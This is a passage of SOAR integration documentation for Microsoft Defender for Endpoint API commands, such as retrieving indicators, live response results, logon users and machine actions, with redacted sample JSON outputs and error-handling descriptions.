        "lastUpdateTime": "2021-04-15T21:29:30.445722Z",
        "lastUpdatedBy": "*****",
        "rbacGroupNames": [],
        "rbacGroupIds": [],
        "notificationId": null,
        "notificationBody": null,
        "version": null,
        "mitreTechniques": [],
        "historicalDetection": false,
        "lookBackPeriod": null,
        "generateAlert": true,
        "additionalInfo": null,
        "createdByDisplayName": "*****",
        "externalId": null,
        "createdBySource": "PublicApi",
        "certificateInfo": null
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/",
        "id": "*****",
        "indicatorValue": "*****",
        "indicatorType": "FileSha1",
        "action": "AlertAndBlock",
        "createdBy": "*****",
        "severity": "Informational",
        "category": 1,
        "application": "demo-test",
        "educateUrl": null,
        "bypassDurationHours": null,
        "title": "test",
        "description": "test",
        "recommendedActions": "nothing",
        "creationTimeDateTimeUtc": "2021-04-15T17:45:47.9262976Z",
        "expirationTime": "2022-12-12T00:00:00Z",
        "lastUpdateTime": "2021-04-15T21:29:30.445722Z",
        "lastUpdatedBy": "*****",
        "rbacGroupNames": [],
        "rbacGroupIds": [],
        "notificationId": *****,
        "notificationBody": null,
        "version": *****,
        "mitreTechniques": [],
        "historicalDetection": false,
        "lookBackPeriod": null,
        "generateAlert": true,
        "additionalInfo": null,
        "createdByDisplayName": "*****",
        "externalId": *****,
        "createdBySource": "PublicApi",
        "certificateInfo": null
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "IDs": [
        "*****"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@ODATA.CONTEXT

https://api.***.com/api/***

ID

***

INDICATORVALUE

***

INDICATORTYPE

FileSha1

ACTION

AlertAndBlock

CREATEDBY

***

SEVERITY

Informational

CATEGORY

1

APPLICATION

demo-test

EDUCATEURL

BYPASSDURATIONHOURS

TITLE

test

DESCRIPTION

test

RECOMMENDEDACTIONS

nothing

CREATIONTIMEDATETIMEUTC

4/15/2021 5:45:47 PM

EXPIRATIONTIME

12/12/2022 12:00:00 AM

LASTUPDATETIME

4/15/2021 9:29:30 PM

LASTUPDATEDBY

*****

RBACGROUPNAMES

[]

RBACGROUPIDS

[]

NOTIFICATIONID

NOTIFICATIONBODY

VERSION

MITRETECHNIQUES

[]

HISTORICALDETECTION

FALSE

LOOKBACKPERIOD

GENERATEALERT

TRUE

ADDITIONALINFO

CREATEDBYDISPLAYNAME

d3cyebr

EXTERNALID

CREATEDBYSOURCE

PublicApi

CERTIFICATEINFO

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get indicator By ID failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Indicator 14 was not found.

Error Sample Data

Get indicator By ID failed.

Status Code: 404.

Message: Indicator 14 was not found.

Get Live Response Results

Retrieves the specific live response command result(s). Please note, this command applies to Microsoft Defender for Endpoint Plan 1 and Plan 2.

READER NOTE

  • The parameter Machine Action IDs is required to run this command.

    • Run the Run Live Response Command command to obtain Machine Action IDs. The Machine Action IDs can be found in the raw data at the path $.results[*].id.

  • Limitations for this command:

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Get MachineAction object API - Microsoft Defender for Endpoint | Microsoft Learn from Microsoft’s documentation for more details.

Input

Input Parameter

Required/Optional

Description

Example

Machine Action IDs

Required

The ID(s) of the Machine Action(s) to retrieve live response command result(s). Machine Action IDs can be obtained using the Run Live Response Command command.

[ "*****" ]

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "results": [
        {
            "@odata.context": "https://api.securitycenter.microsoft.com/api/*****",
            "id": "*****",
            "type": "LiveResponse",
            "title": null,
            "requestor": "d3devcyber",
            "requestorComment": "Testing Live Response API 927m2",
            "status": "Succeeded",
            "machineId": "*****",
            "computerDnsName": "lab2-dc.d3lab2.local",
            "creationDateTimeUtc": "2023-09-27T18:43:37.9370572Z",
            "lastUpdateDateTimeUtc": "2023-09-27T18:44:31.166639Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": null,
            "externalId": null,
            "requestSource": "PublicApi",
            "relatedFileInfo": null,
            "commands": [
                {
                    "index": 0,
                    "startTime": "2023-09-27T18:43:45.43196Z",
                    "endTime": "2023-09-27T18:44:31.165114Z",
                    "commandStatus": "Completed",
                    "errors": [],
                    "command": {
                        "type": "RunScript",
                        "params": [
                            {
                                "key": "ScriptName",
                                "value": "ListItemsInFolder_v2.ps1"
                            },
                            {
                                "key": "Args",
                                "value": "c:\\ProgramData\\USOPrivate"
                            }
                        ]
                    }
                }
            ],
            "result": [
                {
                    "script_name": "ListItemsInFolder.ps1",
                    "exit_code": 0,
                    "script_output": "Transcript started, output file is C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\PSScriptOutputs\\PSScript_Transcript_{B54CEE5C-2345-4D53-9C95-A67971A32FCC}.txt\nUpdateStore - C:\\ProgramData\\USOPrivate\\UpdateStore\n\u0000\u0000",
                    "script_errors": ""
                }
            ],
            "troubleshootInfo": null
        }
    ]
}
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.

The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
  "MachineActionID": ["*****"],
  "Statuses": ["Succeeded"]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

results

  • {'@odata.context': 'https://api.securitycenter.microsoft.com/api/*****', 'id': '*****', 'type': 'LiveResponse', 'title': None, 'requestor': 'd3devcyber', 'requestorComment': 'Testing Live Response API 927m2', 'status': 'Succeeded', 'machineId': '*****', 'computerDnsName': 'lab2-dc.d3lab2.local', 'creationDateTimeUtc': '2023-09-27T18:43:37.9370572Z', 'lastUpdateDateTimeUtc': '2023-09-27T18:44:31.166639Z', 'cancellationRequestor': None, 'cancellationComment': None, 'cancellationDateTimeUtc': None, 'errorHResult': 0, 'scope': None, 'externalId': None, 'requestSource': 'PublicApi', 'relatedFileInfo': None, 'commands': [{'index': 0, 'startTime': '2023-09-27T18:43:45.43196Z', 'endTime': '2023-09-27T18:44:31.165114Z', 'commandStatus': 'Completed', 'errors': [], 'command': {'type': 'RunScript', 'params': [{'key': 'ScriptName', 'value': 'ListItemsInFolder_v2.ps1'}, {'key': 'Args', 'value': 'c:\\ProgramData\\USOPrivate'}]}}], 'result': [{'script_name': 'ListItemsInFolder.ps1', 'exit_code': 0, 'script_output': 'Transcript started, output file is C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\PSScriptOutputs\\PSScript_Transcript_{B54CEE5C-2345-4D53-9C95-A67971A32FCC}.txt\nUpdateStore - C:\\ProgramData\\USOPrivate\\UpdateStore\n\x00\x00', 'script_errors': ''}], 'troubleshootInfo': None}

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get Live Response Results failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 400.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The key value (ExampleIncorrectMachineActionID) from request is not valid. The key value should be format of type 'Edm.Guid'.

Error Sample Data

Get Live Response Results failed.

Status Code: 400.

Message: The key value (ExampleIncorrectMachineActionID) from request is not valid. The key value should be format of type 'Edm.Guid'.

Get Machine Logon Users

Retrieves a collection of logged on users on a specific device.

READER NOTE

  • The parameter Machine IDs is required to run this command.

    • Run the List Hosts command to obtain Machine IDs. The Machine IDs can be found in the raw data at the path $.value[*].id.

    • Please note that some machines may not have a logon user. In this case, the command will run successfully with no returning results.

  • Limitations for this command:

    • You can query on alerts last updated according to your configured retention period.

    • Rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Get machine logon users API from Microsoft’s documentation for more details.

Input

Input Parameter

Required /Optional

Description

Example

Machine IDs

Required

The ID(s) of the machine(s) to retrieve a collection of logged on users from. Machine IDs can be obtained using the List Hosts command.

["*****"]

Output

Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.

The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "value": [
            {
                "id": "*****",
                "accountName": "*****",
                "accountDomain": "*****",
                "accountSid": *****,
                "firstSeen": "2021-06-01T18:29:25Z",
                "lastSeen": "2021-06-03T00:49:12Z",
                "mostPrevalentMachineId": *****,
                "leastPrevalentMachineId": *****,
                "logonTypes": "Network, RemoteInteractive",
                "logOnMachinesCount": null,
                "isDomainAdmin": true,
                "isOnlyNetworkUser": null
            },
            {
                "id": "*****",
                "accountName": "*****",
                "accountDomain": "*****",
                "accountSid": *****,
                "firstSeen": "2021-06-01T18:31:33Z",
                "lastSeen": "2021-06-03T00:13:17Z",
                "mostPrevalentMachineId": *****,
                "leastPrevalentMachineId": *****,
                "logonTypes": "Interactive",
                "logOnMachinesCount": null,
                "isDomainAdmin": true,
                "isOnlyNetworkUser": null
            }
        ]
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON and adding machineId field to indicate your input Machine IDs.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
    {
        "machineId": "*****",
        "id": "*****",
        "accountName": "*****",
        "accountDomain": "*****",
        "accountSid": *****,
        "firstSeen": "2021-06-01T18:29:25Z",
        "lastSeen": "2021-06-03T00:49:12Z",
        "mostPrevalentMachineId": *****,
        "leastPrevalentMachineId": *****,
        "logonTypes": "Network, RemoteInteractive",
        "logOnMachinesCount": null,
        "isDomainAdmin": true,
        "isOnlyNetworkUser": null
    },
    {
        "machineId": "*****",
        "id": "*****",
        "accountName": "*****",
        "accountDomain": "*****",
        "accountSid": *****,
        "firstSeen": "2021-06-01T18:31:33Z",
        "lastSeen": "2021-06-03T00:13:17Z",
        "mostPrevalentMachineId": *****,
        "leastPrevalentMachineId": *****,
        "logonTypes": "Interactive",
        "logOnMachinesCount": null,
        "isDomainAdmin": true,
        "isOnlyNetworkUser": null
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "UserIds": [
        "***\\***",
        "***\\***"
    ],
    "AccountNames": [
        "*****",
        "*****"
    ],
    "AccountDomains": [
        "*****",
        "*****"
    ]
}
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

MACHINEID

***

***

ID

***\***

***\***

ACCOUNTNAME

***

***

ACCOUNTDOMAIN

***

***

ACCOUNTSID

FIRSTSEEN

6/1/2021 6:29:25 PM

6/1/2021 6:31:33 PM

LASTSEEN

6/3/2021 12:49:12 AM

6/3/2021 12:13:17 AM

MOSTPREVALENTMACHINEID

LEASTPREVALENTMACHINEID

LOGONTYPES

Network, RemoteInteractive

Interactive

LOGONMACHINESCOUNT

ISDOMAINADMIN

TRUE

TRUE

ISONLYNETWORKUSER

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get Machine Logon Users failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: Machine XXX was not found.

Error Sample Data

Get Machine Logon Users failed.

Status Code: 404.

Message: Machine XXX was not found.

Get Users By Alert

Retrieves users related to specified Alert IDs.

READER NOTE

  • Limitations for this command:

    • You can query alerts by the last updated time according to your configured retention period.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See Get alert related user information API from Microsoft’s documentation for more details.

  • The parameter Alert IDs is required to run this command.

    • Run the Fetch Event or Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.

  • Not all alerts are related to a user. If you input an alert with no related users, the error message “There is no user related to alert…” will be returned.

Input

Input Parameter

Required /Optional

Description

Example

Alert IDs

Required

The ID(s) of the alert(s) to retrieve related user information from. Alert IDs can be obtained using the Fetch Event or Fetch Related Events commands.

["*****"]

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "***\\***",
        "accountName": "***",
        "accountDomain": "***-***",
        "accountSid": "*****",
        "firstSeen": "2020-07-21T22:27:15Z",
        "lastSeen": "2020-07-23T17:14:56Z",
        "mostPrevalentMachineId": "*****",
        "leastPrevalentMachineId": "*****",
        "logonTypes": null,
        "logOnMachinesCount": 1,
        "isDomainAdmin": false,
        "isOnlyNetworkUser": false
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "***\\***",
        "accountName": "***",
        "accountDomain": "***-***",
        "accountSid": "*****",
        "firstSeen": "2020-07-21T22:27:15Z",
        "lastSeen": "2020-07-23T17:14:56Z",
        "mostPrevalentMachineId": "*****",
        "leastPrevalentMachineId": "*****",
        "logonTypes": null,
        "logOnMachinesCount": 1,
        "isDomainAdmin": false,
        "isOnlyNetworkUser": false
    }
]
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "***\\***",
        "accountName": "***",
        "accountDomain": "***-***",
        "accountSid": "*****",
        "firstSeen": "2020-07-21T22:27:15Z",
        "lastSeen": "2020-07-23T17:14:56Z",
        "mostPrevalentMachineId": "*****",
        "leastPrevalentMachineId": "*****",
        "logonTypes": null,
        "logOnMachinesCount": 1,
        "isDomainAdmin": false,
        "isOnlyNetworkUser": false
    },
    {
        "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
        "id": "***\\***",
        "accountName": "***",
        "accountDomain": "***-***",
        "accountSid": "*****",
        "firstSeen": "2020-07-21T22:27:15Z",
        "lastSeen": "2020-07-23T17:14:56Z",
        "mostPrevalentMachineId": "*****",
        "leastPrevalentMachineId": "*****",
        "logonTypes": null,
        "logOnMachinesCount": 1,
        "isDomainAdmin": false,
        "isOnlyNetworkUser": false
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "Alert Ids": [
        "*****",
        "*****"
    ],
    "User Ids": [
        "***\\***",
        "***\\***"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

@ODATA.CONTEXT

https://api.***.com/api/***

https://api.***.com/api/***

ID

***\***

***\***

ACCOUNTNAME

administrator

administrator

ACCOUNTDOMAIN

d3cyber-defende

d3cyber-defende

ACCOUNTSID

***

***

FIRSTSEEN

7/21/2020 10:27:15 PM

7/21/2020 10:27:15 PM

LASTSEEN

7/23/2020 5:14:56 PM

7/23/2020 5:14:56 PM

MOSTPREVALENTMACHINEID

***

***

LEASTPREVALENTMACHINEID

***

***

LOGONTYPES

LOGONMACHINESCOUNT

1

1

ISDOMAINADMIN

FALSE

FALSE

ISONLYNETWORKUSER

FALSE

FALSE

Error Handling

If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

Get User By Alert failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 404.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: There is no User related to the alert.

Error Sample Data

Get User By Alert failed.

Status Code: 404.

Message: There is no User related to the alert.

List Hosts Actions

Retrieves a list of host actions.

READER NOTE

  • Limitations for this command:

    • Maximum page size is 10,000.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour

  • See List machineActions API | Microsoft Learn from Microsoft’s documentation for more details.

Input

N/A

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "value": [
        {
            "id": "*****",
            "type": "StopAndQuarantineFile",
            "title": null,
            "requestor": "*****",
            "requestorComment": "Stop and quarantine file on machine due to alert 441688558380765161_2136280442",
            "status": "Pending",
            "machineId": "*****",
            "computerDnsName": "***.***.***",
            "creationDateTimeUtc": "2021-04-14T23:54:58.760165Z",
            "lastUpdateDateTimeUtc": "2021-04-14T23:54:58.760165Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": null,
            "externalId": *****,
            "requestSource": "PublicApi",
            "relatedFileInfo": {
                "fileIdentifier": "*****",
                "fileIdentifierType": "Sha1"
            },
            "commands": []
        },
        {
            "id": "*****",
            "type": "StopAndQuarantineFile",
            "title": null,
            "requestor": "*****",
            "requestorComment": "Stop and quarantine file on machine due to alert 441688558380765161_2136280442",
            "status": "Pending",
            "machineId": "*****",
            "computerDnsName": "***.***.***",
            "creationDateTimeUtc": "2021-04-14T21:34:19.3356887Z",
            "lastUpdateDateTimeUtc": "2021-04-14T21:34:19.3356887Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": null,
            "externalId": null,
            "requestSource": "PublicApi",
            "relatedFileInfo": {
                "fileIdentifier": "*****",
                "fileIdentifierType": "Sha1"
            },
            "commands": []
        },
        {
            "id": "*****",
            "type": "StopAndQuarantineFile",
            "title": null,
            "requestor": "*****",
            "requestorComment": "Stop and quarantine file on machine due to alert 441688558380765161_2136280442",
            "status": "Pending",
            "machineId": "*****",
            "computerDnsName": "***.***.***",
            "creationDateTimeUtc": "2021-04-14T21:32:20.7143617Z",
            "lastUpdateDateTimeUtc": "2021-04-14T21:32:20.7143617Z",
            "cancellationRequestor": null,
            "cancellationComment": null,
            "cancellationDateTimeUtc": null,
            "errorHResult": 0,
            "scope": null,
            "externalId": *****,
            "requestSource": "PublicApi",
            "relatedFileInfo": {
                "fileIdentifier": "*****",
                "fileIdentifierType": "Sha1"
            },
            "commands": []
        }
    ]
}
Context Data

The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.

D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.

It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.

SAMPLE DATA

CODE
[
    {
        "id": "*****",
        "type": "StopAndQuarantineFile",
        "title": null,
        "requestor": "*****",
        "requestorComment": "Stop and quarantine file on machine due to alert 441688558380765161_2136280442",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": "***.***.***",
        "creationDateTimeUtc": "2021-04-14T23:54:58.760165Z",
        "lastUpdateDateTimeUtc": "2021-04-14T23:54:58.760165Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": *****,
        "requestSource": "PublicApi",
        "relatedFileInfo": {
            "fileIdentifier": "*****",
            "fileIdentifierType": "Sha1"
        },
        "commands": []
    },
    {
        "id": "*****",
        "type": "StopAndQuarantineFile",
        "title": null,
        "requestor": "*****",
        "requestorComment": "Stop and quarantine file on machine due to alert 441688558380765161_2136280442",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": "***.***.***",
        "creationDateTimeUtc": "2021-04-14T21:34:19.3356887Z",
        "lastUpdateDateTimeUtc": "2021-04-14T21:34:19.3356887Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": *****,
        "requestSource": "PublicApi",
        "relatedFileInfo": {
            "fileIdentifier": "*****",
            "fileIdentifierType": "Sha1"
        },
        "commands": []
    },
    {
        "id": "*****",
        "type": "StopAndQuarantineFile",
        "title": null,
        "requestor": "*****",
        "requestorComment": "Stop and quarantine file on machine due to alert 441688558380765161_2136280442",
        "status": "Pending",
        "machineId": "*****",
        "computerDnsName": "***.***.***.***",
        "creationDateTimeUtc": "2021-04-14T21:32:20.7143617Z",
        "lastUpdateDateTimeUtc": "2021-04-14T21:32:20.7143617Z",
        "cancellationRequestor": null,
        "cancellationComment": null,
        "cancellationDateTimeUtc": null,
        "errorHResult": 0,
        "scope": null,
        "externalId": *****,
        "requestSource": "PublicApi",
        "relatedFileInfo": {
            "fileIdentifier": "*****",
            "fileIdentifierType": "Sha1"
        },
        "commands": []
    }
]
Key Fields

Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields.
The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.

SAMPLE DATA

CODE
{
    "IDs": [
        "*****",
        "*****",
        "*****"
    ]
}
Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

  • A connection issue with the integration

  • The API returned an error message

  • No response from the API

You can view more details about an error in the Error tab.

Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.

SAMPLE DATA

CODE
Successful
Result

Provides a brief summary of outputs in an HTML formatted table.

SAMPLE DATA

ID

***

***

***

***

***

TYPE

StopAndQuarantineFile

StopAndQuarantineFile

StopAndQuarantineFile

RunAntiVirusScan

RunAntiVirusScan

TITLE

REQUESTOR

***

***

***

***@***.com

***

REQUESTORCOMMENT

Stop and quarantine file on machine due to alert ***_***

Stop and quarantine file on machine due to alert ***_***

Stop and quarantine file on machine due to alert ***_***

Test

heck machine for viruses due to alert

STATUS

Pending

Pending

Pending

Succeeded

TimeOut

MACHINEID

***

***

***

***

***

COMPUTERDNSNAME

***.***.***

***.***.***

***.***.***

***.***.***

***.***.***

CREATIONDATETIMEUTC

4/14/2021 11:54:58 PM

4/14/2021 9:34:19 PM

4/14/2021 9:32:20 PM

4/9/2021 11:18:03 PM

2/4/2021 7:40:14 PM

LASTUPDATEDATETIMEUTC

4/14/2021 11:54:58 PM

4/14/2021 9:34:19 PM

4/14/2021 9:32:20 PM

4/9/2021 11:19:01 PM

2/7/2021 7:55:29 PM

CANCELLATIONREQUESTOR

CANCELLATIONCOMMENT

CANCELLATIONDATETIMEUTC

ERRORHRESULT

0

0

0

0

-2145844840

SCOPE

Quick

Full

EXTERNALID

REQUESTSOURCE

PublicApi

PublicApi

PublicApi

Portal

PublicApi

RELATEDFILEINFO

{
"fileIdentifier": "***",
"fileIdentifierType": "Sha1"
}

{
"fileIdentifier": "***",
"fileIdentifierType": "Sha1"
}

{
"fileIdentifier": "***",
"fileIdentifierType": "Sha1"
}

COMMANDS

[]

[]

[]

[]

[]

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.

Parts in Error

Description

Example

Failure Indicator

Indicates the command failure that happened at a specific input and/or API call.

List Hosts Actions failed.

Status Code

The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.

Status Code: 401.

Message

The raw data or captured key error message from the integration API server about the API request failure.

Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.

Error Sample Data

List Hosts Actions failed.

Status Code: 401.

Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.

List Hosts

Retrieves a list of machines.

READER NOTE

  • Limitations for this command:

    • You can get devices last seen according to your configured retention period.

    • Maximum page size is 10,000.

    • The rate limitations for this API are 100 calls per minute and 1500 calls per hour.

  • See List machines API | Microsoft Learn from Microsoft’s documentation for more details.

Input

N/A

Output

Raw Data

The primary response data from the API request.

SAMPLE DATA

JSON
{
    "@odata.context": "https://api.securitycenter.microsoft.com/api/***",
    "value": [
        {
            "id": "*****",
            "computerDnsName": "***.***.***",
            "firstSeen": "2020-11-30T08:06:22.7101753Z",
            "lastSeen": "2021-04-09T22:16:58.8866737Z",
            "osPlatform": "Windows10",
            "osVersion": ***,
            "osProcessor": "***",
            "version": "*****",
            "lastIpAddress": "***.***.***.***",
            "lastExternalIpAddress": "***.***.***.***",
            "agentVersion": "***.***.***.***",
            "osBuild": *****,
            "healthStatus": "Active",
            "deviceValue": "Normal",
            "rbacGroupId": ***,
            "rbacGroupName": null,
            "riskScore": "High",
            "exposureLevel": "Medium",
            "isAadJoined": false,
            "aadDeviceId": ***,
            "machineTags": [],
            "defenderAvStatus": "Updated",
            "onboardingStatus": "Onboarded",
            "ipAddresses": [
                {
                    "ipAddress": "***.***.***.***",
                    "macAddress": "*****",
                    "type": "Ethernet",
                    "operationalStatus": "Up"
                },
                {
                    "ipAddress": "****::****:****:****:****",
                    "macAddress": "*****",
                    "type": "Ethernet",
                    "operationalStatus": "Up"
                },
                {
                    "ipAddress": "***.***.***.***",
                    "macAddress": "*****",
                    "type": "Ethernet",
                    "operationalStatus": "Up"
                },
                {
                    "ipAddress": "****::****:****:****:****",
                    "macAddress": "*****",
                    "type": "Ethernet",
                    "operationalStatus": "Up"
                }
            ],
            "vmMetadata": null
        },
        {
            "id": "*****",
            "computerDnsName": "*****",
            "firstSeen": "2020-12-01T01:38:19.2801165Z",
            "lastSeen": "2021-04-09T22:15:08.6575271Z",
            "osPlatform": "Windows10",
            "osVersion": ***,
            "osProcessor": "***",
            "version": "*****",
            "lastIpAddress": "***.***.***.***",
            "lastExternalIpAddress": "***.***.***.***",
            "agentVersion": "***.***.***.***",
